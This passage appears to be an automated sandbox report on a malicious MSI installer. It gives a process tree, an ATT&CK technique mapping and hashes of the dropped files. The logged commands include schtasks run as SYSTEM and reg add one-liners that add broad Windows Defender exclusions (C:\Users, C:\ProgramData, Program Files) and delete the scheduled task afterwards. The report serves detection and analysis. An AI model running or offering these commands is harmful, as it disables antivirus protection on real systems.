C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:976
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1180
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2480
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\asPDJU" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\asPDJU" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3292
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C:\Windows\system32\cmd.execmd.exe1⤵PID:2604
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2800
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4972 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4356
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1720
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4376 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2588
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e587480.rbs
- Size 7KB
- SHA256 94988d554f52826163231fa24ca69b3ddf43c426c8636c8c5282e93c01bc856c
- MD5 6d406cd94fd5321730c36632ae66a848
- SHA1 5eb3d77fa43cfbdbc40d55c042965e035c5ebed5
- SHA512 5d52e62fe5cb689aeadadc43638cce8a62bc466aa1168732dbaeb3509e1a3118bc2a4a701a2bcc651078cc8f861593353970dd0f2b035b3a421051ebe6859801
- SSDEEP 96:HZuu1ee4aUUF71CsThq/UF71C6j4/xpThqjHqS56TWt8daCKpljEzIjByy:Hhe+z1IIV1I36ADKpn
- TLSH T16EF13001B71196D2E5911B75CB831B1A37F2D3DAA320739B089E80285F477883ED67AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\asPDJU\UxEnhance64.dll
- Size 3.1MB
- SHA256 8c136d7a3985933f9f021b4e9549d4693edc53532e6a6c8f7311ad72cdc3c5be
- MD5 b5058660edba0307fc383ff36a42f0ce
- SHA1 9a22f5b521168f4009c86ee8e676742d31ee0b1e
- SHA512 cba8422711531bf57c7f1a72d373e14aa298ed6d79044e2e7dc035e1ae3a63ae6b86d1cf7cb0a76fec3190d5ae86e664c42089fad7252917fb076ca724f7543e
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+8:P9m29xx3Tiqt06ox6+z2rNNrKo8
- TLSH T106E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\asPDJU\adoresd.dat
- Size 4.7MB
- SHA256 03b72aab3064b39c2672c4c4de088c7296cb2751c808b29f9f0ae3f4a4078bfa
- MD5 817b1e5490fa19fb9f55d085109cfbe7
- SHA1 c119f967db1a2d04d847b7c05a0fa7796f60624f
- SHA512 d79ea567f90bafd0392d3b11bb6b26fc2ed80cf72ab44843d3dcdef741025d5d2d14e38443709a1cf2d8a76167f12883e4ea59601db6a12c6ddb24b401aa4c16
- SSDEEP 98304:dmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:4u1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1633633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\asPDJU\gqblbl.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\asPDJU\msadox.tb
- Size 8KB
- SHA256 fc095dc8ee651c99376d16acae3365bbee6e3d901258831fbe67d55fb91f8b30
- MD5 c3b7f3dfafb5ed6f19ded9a8aa111628
- SHA1 7c848212e7cb0efde95ce6655563f55f16f62fb1
- SHA512 c6022486e716394e76744e6796ed275f3733323d1356bf823a6f48f953f6954a0efedf95a6c0bf16daffb035d22cacd26e076149d852eecb65ffc757249dcf84
- SSDEEP 192:TqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:TsZqZOXQ3uqvR2Kfzp
- TLSH T1DC029E05D7A20CC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DE2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI75C8.tmp
- Size 7.4MB
- SHA256 c5622825cc30c9888fdacd2cfd1660629ed0911c02ac12c6b3e39219f769100f
- MD5 cc1d5b4657724d7f4f184d73df7f65b4
- SHA1 da94c24f3d9a1b55559286903ca39c01b448ef54
- SHA512 74ed39f026ab7eff6375acda6b1735537cb46985ce68d33062709142b663916c41cd26a39b769b6ac7b73f7bdc5179cb993304079c14d0d12c8fec6982cb6ca4
- SSDEEP 196608:YCSNa6LGYIbHer+PusmTqP6k3U7CFsiq6mE8:HQa6LgeaPuscqyEWCFiBE8
- TLSH T1717633C5745A36B4D08BD774255A31AD722EB7C1D938AD0FBEED3E0C0FA262694B5320
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e58747f.msi
- Size 7.5MB
- SHA256 886a7a2e6ae3ac9c1159fc4c5b86421df3567c758b40b31687bedd04a637b87a
- MD5 e44f9e4e09b8b8b0d48e8779a559ef2c
- SHA1 1c7aee817df0fbd6a3797686fcb9b81f6d35e450
- SHA512 f9039c722ede8456d11117cb04604079d432961d3cfa2ec30737e2fce96a7175b8c44d660f28e970c78bfe73387120e5d552ac3ffe804a8d24b5a42cb6450a17
- SSDEEP 196608:wCSNa6LGYIbHer+PusmZqP6k3U7CFsiq6mEw:PQa6LgeaPusyqyEWCFiBEw
- TLSH T1017633C5B8562774D08BC734155A21AD722EBFC1DA38ED0BBFED3A0C1EB263654B5260
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 8e718331b1fae80bd74e7e7da9b28b0bc05badb07d8bc868386e390ce95962b0
- MD5 cc3a533be1a567e7992873ffba49af80
- SHA1 c88038cfc431e881fa11aa7630b253cfff43fc57
- SHA512 dea5fe044494ce9ae769d587551a8f031abec39a3ebce973739120feb74ea011dc508268637c790b38018b87fb3d980bcc083f084cb377799d72f3ef813054d3
- SSDEEP 24576:Zu8m+1zqdoO/vvTLL2L+ema/qCkTzFbC39md5k6lT0aKusyWYvFCztAhO:g
- TLSH T1A247C52476F92100E7F79E3CACF06A2359397D5B9C19EE8D05411F4E0922BB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{4588d6e0-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{a1c715eb-c144-4030-92d3-d85b9be2d856}_OnDiskSnapshotProp
- Size 6KB
- SHA256 cff5bb38bbf3a6568040b2efd1557d6d62f60a34dfb013b69523866f936137ea
- MD5 22460d526088ea7fbb89a1869e1c8867
- SHA1 78ed7c2110b20ba228e9234cdff533ea448f4e66
- SHA512 02c558f04fb672cbee40fab76930a8c53a388338f1071064d83fae3f0cb9d3a06457bcea2c73cf6e16ff3ab6697556539e92d075a116d5d0e7fea3e37b2b9c2a
- SSDEEP 96:FmN6BARvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:q1b++ZVm
- TLSH T196D198084AF54711E2B3AB3129F18557A877B911EF33CB8E0198238E2671A10F876F5B
- MD5 SHA1 SHA512 SSDEEP TLSH